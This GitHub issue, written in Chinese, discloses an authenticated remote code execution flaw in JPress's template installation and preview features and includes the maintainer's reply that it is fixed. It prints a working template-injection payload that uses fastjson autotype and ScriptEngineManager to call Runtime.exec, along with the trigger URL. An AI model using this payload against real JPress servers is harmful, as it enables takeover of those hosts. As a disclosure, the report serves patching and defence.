Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

jpress后台存在命令执行漏洞-模板安装 #168

Closed
Er1cccc opened this issue Jan 9, 2022 · 1 comment
Closed

jpress后台存在命令执行漏洞-模板安装 #168

Er1cccc opened this issue Jan 9, 2022 · 1 comment

Comments

@Er1cccc
Copy link

Er1cccc commented Jan 9, 2022

审计过程

jpress后台存在模板安装功能,攻击者可以安装恶意模板造成rce。

在页面上点击安装模板
image-20211222111225666

上传恶意模板之后,程序运行到io.jpress.web.admin._TemplateController#doInstall,这个函数的作用是将上传的zip文件解压,然后存到classes/webapp/templates目录下,这个目录是专门用来存储模板文件的
image-20211222111412481

来看具体代码,io.jpress.web.admin._TemplateController#doInstall方法前面主要是一系列检查,检查是不是zip,文件是否已经存在等,最后来到156行,解压zip,然后这个方法就基本结束了。
image-20211222111513452

然后就可以看到,我们写的恶意模板已经被解压到了这个目录下
image-20211222111654358

不过模板注入存在些许过滤,我们使用fastjson来辅助获取ScriptEngineManager,然后执行任意js代码,就可以实现rce,payload如下

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) 
#set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(e=x.getEngineByName("js")) 
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))

接下来怎么进行利用呢?看到后台这个地方存在一个模板预览功能
image-20211222111755310

开启之后可以通过get传入template参数来指定使用的模板,比如这里我们指定使用cn.jeanstudio.bonhumeur这个模板
image-20211222111844615

那么,接下来就很简单了,我们只需要指定使用我们刚刚上传的恶意模板就行了
image-20211222112103385

效果演示

弱密码进入后台,安装恶意模板evil.zip
image-20211221230835857

开启模板预览功能
image-20211221230810885

访问http://localhost/evil?template=evil,发现计算器弹出,漏洞验证成功
image-20211221231018816

@JPressProjects
Copy link
Owner

在 jpress 最新版本中已解决。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants